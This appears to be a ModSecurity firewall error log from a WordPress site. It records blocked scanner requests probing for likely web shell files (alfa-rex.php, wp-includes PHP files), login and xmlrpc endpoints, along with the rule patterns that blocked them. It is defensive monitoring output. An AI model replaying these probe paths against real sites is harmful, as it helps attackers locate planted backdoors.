[Sun Mar 01 01:09:59.223469 2026] [:error] [pid 11920:tid 11929] [client 20.220.8.64:27601] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "aaMhZyzLNJUKxvBorrCIGQAAAYU"]
[Sun Mar 01 01:09:59.687168 2026] [:error] [pid 30798:tid 30901] [client 20.220.8.64:27474] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "aaMhZ8BkD73gO8wTonZcgwAAAII"]
[Sun Mar 01 01:10:00.384847 2026] [:error] [pid 53600:tid 53619] [client 20.220.8.64:27476] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "aaMhaA2UMRAYWtDB23TT5AAAARA"]
[Sun Mar 01 01:10:01.007286 2026] [:error] [pid 11920:tid 11924] [client 20.220.8.64:27549] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "aaMhaSzLNJUKxvBorrCIGwAAAYA"]
[Sun Mar 01 01:10:01.550636 2026] [:error] [pid 31190:tid 31211] [client 20.220.8.64:27471] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaMhaRfvwGOholYpM1FrCAAAAMU"]
[Sun Mar 01 01:10:02.574680 2026] [:error] [pid 11920:tid 11925] [client 20.220.8.64:27628] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaMhaizLNJUKxvBorrCIIgAAAYE"]
[Sun Mar 01 01:10:03.191781 2026] [:error] [pid 11920:tid 11927] [client 20.220.8.64:27596] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaMhayzLNJUKxvBorrCIJAAAAYM"]
[Sun Mar 01 01:10:04.214780 2026] [:error] [pid 31190:tid 31208] [client 20.220.8.64:27584] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaMhbBfvwGOholYpM1FrDwAAAMI"]
[Sun Mar 01 01:10:04.817588 2026] [:error] [pid 30795:tid 30817] [client 20.220.8.64:27560] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tt.php"] [unique_id "aaMhbGuI44IL94Zgti-7mAAAAAk"]
[Sun Mar 01 01:10:05.556774 2026] [:error] [pid 31190:tid 31229] [client 20.220.8.64:27614] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tt.php"] [unique_id "aaMhbRfvwGOholYpM1FrFAAAANc"]
[Sun Mar 01 01:10:06.133822 2026] [:error] [pid 11920:tid 11931] [client 20.220.8.64:27399] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tt.php"] [unique_id "aaMhbizLNJUKxvBorrCIMAAAAYc"]
[Sun Mar 01 01:10:06.597909 2026] [:error] [pid 30798:tid 30924] [client 20.220.8.64:27502] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tt.php"] [unique_id "aaMhbsBkD73gO8wTonZctAAAAJg"]
[Sun Mar 01 01:10:07.228789 2026] [:error] [pid 11920:tid 11926] [client 20.220.8.64:27575] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/62ix02bk.php"] [unique_id "aaMhbyzLNJUKxvBorrCINgAAAYI"]
[Sun Mar 01 01:10:07.825498 2026] [:error] [pid 31190:tid 31219] [client 20.220.8.64:27500] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/62ix02bk.php"] [unique_id "aaMhbxfvwGOholYpM1FrIQAAAM0"]
[Sun Mar 01 01:10:08.521956 2026] [:error] [pid 30798:tid 30921] [client 20.220.8.64:27544] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/62ix02bk.php"] [unique_id "aaMhcMBkD73gO8wTonZcvQAAAJU"]
[Sun Mar 01 01:10:09.120287 2026] [:error] [pid 31190:tid 31224] [client 20.220.8.64:27580] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/62ix02bk.php"] [unique_id "aaMhcRfvwGOholYpM1FrMAAAANI"]
[Sun Mar 01 01:10:09.619731 2026] [:error] [pid 11920:tid 11943] [client 20.220.8.64:27553] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaMhcSzLNJUKxvBorrCIQQAAAZM"]
[Sun Mar 01 01:10:10.112023 2026] [:error] [pid 11920:tid 11937] [client 20.220.8.64:27591] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaMhcizLNJUKxvBorrCISAAAAY0"]
[Sun Mar 01 01:10:10.767054 2026] [:error] [pid 30798:tid 30910] [client 20.220.8.64:27545] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaMhcsBkD73gO8wTonZc1QAAAIs"]
[Sun Mar 01 01:10:11.436660 2026] [:error] [pid 30798:tid 30904] [client 20.220.8.64:27557] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaMhc8BkD73gO8wTonZc3gAAAIU"]
[Sun Mar 01 01:10:11.930943 2026] [:error] [pid 11920:tid 11943] [client 20.220.8.64:27465] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6ijmjpa.php"] [unique_id "aaMhcyzLNJUKxvBorrCIaAAAAZM"]
[Sun Mar 01 01:10:12.404614 2026] [:error] [pid 31190:tid 31222] [client 20.220.8.64:27460] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6ijmjpa.php"] [unique_id "aaMhdBfvwGOholYpM1FrQgAAANA"]
[Sun Mar 01 01:10:13.004170 2026] [:error] [pid 11920:tid 11928] [client 20.220.8.64:27602] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6ijmjpa.php"] [unique_id "aaMhdSzLNJUKxvBorrCIdQAAAYQ"]
[Sun Mar 01 01:10:14.029163 2026] [:error] [pid 11920:tid 11937] [client 20.220.8.64:27594] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp_jVML8V37.php"] [unique_id "aaMhdizLNJUKxvBorrCIiAAAAY0"]
[Sun Mar 01 01:10:14.573845 2026] [:error] [pid 30798:tid 30909] [client 20.220.8.64:27547] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp_jVML8V37.php"] [unique_id "aaMhdsBkD73gO8wTonZc-gAAAIo"]
[Sun Mar 01 01:10:15.185978 2026] [:error] [pid 11920:tid 11947] [client 20.220.8.64:27585] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp_jVML8V37.php"] [unique_id "aaMhdyzLNJUKxvBorrCIjQAAAZc"]
[Sun Mar 01 01:10:15.823169 2026] [:error] [pid 11920:tid 11926] [client 20.220.8.64:27481] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp_jVML8V37.php"] [unique_id "aaMhdyzLNJUKxvBorrCIkQAAAYI"]
[Sun Mar 01 01:10:16.715407 2026] [:error] [pid 11920:tid 11937] [client 20.220.8.64:27556] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4wj632p1.php"] [unique_id "aaMheCzLNJUKxvBorrCIlAAAAY0"]
[Sun Mar 01 01:10:17.324476 2026] [:error] [pid 53600:tid 53625] [client 20.220.8.64:27406] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4wj632p1.php"] [unique_id "aaMheQ2UMRAYWtDB23TUFAAAARY"]
[Sun Mar 01 01:10:17.942695 2026] [:error] [pid 31190:tid 31224] [client 20.220.8.64:27592] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4wj632p1.php"] [unique_id "aaMheRfvwGOholYpM1FrVgAAANI"]
[Sun Mar 01 01:10:18.809077 2026] [:error] [pid 11920:tid 11935] [client 20.220.8.64:27581] [client 20.220.8.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4wj632p1.php"] [unique_id "aaMheizLNJUKxvBorrCInwAAAYs"]
[Sun Mar 01 01:22:13.359480 2026] [:error] [pid 53600:tid 53614] [client 182.44.2.148:43017] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaMkRQ2UMRAYWtDB23TZRQAAAQs"]
[Sun Mar 01 02:04:49.003487 2026] [:error] [pid 31190:tid 31224] [client 194.164.173.215:36020] [client 194.164.173.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.164.173.215, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaMuQRfvwGOholYpM1GVIAAAANI"]
[Sun Mar 01 02:43:02.119552 2026] [:error] [pid 53600:tid 53615] [client 43.153.135.208:43974] [client 43.153.135.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaM3Ng2UMRAYWtDB23T7ZAAAAQw"]
[Sun Mar 01 02:49:41.823427 2026] [:error] [pid 30798:tid 30915] [client 20.151.224.126:30776] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/jga.php"] [unique_id "aaM4xcBkD73gO8wTona7EQAAAJA"]
[Sun Mar 01 02:49:57.342073 2026] [:error] [pid 11920:tid 11944] [client 20.151.224.126:21369] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/widget-cache.php"] [unique_id "aaM41SzLNJUKxvBorrAanQAAAZQ"]
[Sun Mar 01 02:50:08.629794 2026] [:error] [pid 11920:tid 11936] [client 20.151.224.126:21318] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-json-ajax.php"] [unique_id "aaM44CzLNJUKxvBorrAbCwAAAYw"]
[Sun Mar 01 02:51:12.400671 2026] [:error] [pid 31190:tid 31216] [client 20.151.224.126:1127] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/incl.php"] [unique_id "aaM5IBfvwGOholYpM1GzygAAAMo"]
[Sun Mar 01 02:51:14.152979 2026] [:error] [pid 30798:tid 30923] [client 20.151.224.126:45719] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers.php"] [unique_id "aaM5IsBkD73gO8wTona8rwAAAJc"]
[Sun Mar 01 02:51:16.432274 2026] [:error] [pid 30798:tid 30910] [client 20.151.224.126:35410] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/403.php"] [unique_id "aaM5JMBkD73gO8wTona8wwAAAIs"]
[Sun Mar 01 02:51:33.744330 2026] [:error] [pid 31190:tid 31221] [client 20.151.224.126:16350] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/image.php"] [unique_id "aaM5NRfvwGOholYpM1G0BAAAAM8"]
[Sun Mar 01 02:51:39.324479 2026] [:error] [pid 30798:tid 30923] [client 20.151.224.126:16344] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/image.php"] [unique_id "aaM5O8BkD73gO8wTona9IgAAAJc"]
[Sun Mar 01 02:51:42.817338 2026] [:error] [pid 30795:tid 30810] [client 20.151.224.126:14652] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/image.php"] [unique_id "aaM5PmuI44IL94Zgti_RfgAAAAI"]
[Sun Mar 01 02:51:54.954348 2026] [:error] [pid 7644:tid 7654] [client 20.151.224.126:9289] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/image2.php"] [unique_id "aaM5SvqeDUGmVAHX7VC0fwAAAUg"]
[Sun Mar 01 02:52:05.001306 2026] [:error] [pid 30797:tid 30887] [client 20.151.224.126:43874] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/image2.php"] [unique_id "aaM5VfQmcmSQL-3rvLAWEQAAAFA"]
[Sun Mar 01 02:52:55.438039 2026] [:error] [pid 31190:tid 31214] [client 20.151.224.126:8870] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-duotone.php"] [unique_id "aaM5hxfvwGOholYpM1G0nAAAAMg"]
[Sun Mar 01 02:54:55.810020 2026] [:error] [pid 11920:tid 11933] [client 20.151.224.126:1600] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/11.php"] [unique_id "aaM5_yzLNJUKxvBorrAhmQAAAYk"]
[Sun Mar 01 02:55:02.156041 2026] [:error] [pid 11920:tid 11943] [client 20.151.224.126:43534] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/11.php"] [unique_id "aaM6BizLNJUKxvBorrAhugAAAZM"]
[Sun Mar 01 02:55:18.708474 2026] [:error] [pid 30798:tid 30918] [client 20.151.224.126:23754] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-settings2.php"] [unique_id "aaM6FsBkD73gO8wTonbBJAAAAJM"]
[Sun Mar 01 02:55:22.810975 2026] [:error] [pid 31190:tid 31227] [client 20.151.224.126:9254] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/index.php"] [unique_id "aaM6GhfvwGOholYpM1G2PQAAANU"]
[Sun Mar 01 02:55:28.550099 2026] [:error] [pid 30798:tid 30901] [client 20.151.224.126:43910] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/index.php"] [unique_id "aaM6IMBkD73gO8wTonbBZQAAAII"]
[Sun Mar 01 02:55:39.486127 2026] [:error] [pid 30798:tid 30905] [client 20.151.224.126:43946] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/alfa-rex.php"] [unique_id "aaM6K8BkD73gO8wTonbB7wAAAIY"]
[Sun Mar 01 02:55:52.866315 2026] [:error] [pid 30797:tid 30880] [client 20.151.224.126:43604] [client 20.151.224.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.151.224.126, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/wp-login.php"] [unique_id "aaM6OPQmcmSQL-3rvLAWZgAAAEk"]
[Sun Mar 01 02:56:24.838494 2026] [:error] [pid 53600:tid 53621] [client 20.89.52.173:24678] [client 20.89.52.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.89.52.173, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaM6WA2UMRAYWtDB23QAmAAAARI"]
[Sun Mar 01 02:56:55.744644 2026] [:error] [pid 53600:tid 53619] [client 20.89.52.173:24678] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aaM6dw2UMRAYWtDB23QA0gAAARA"]
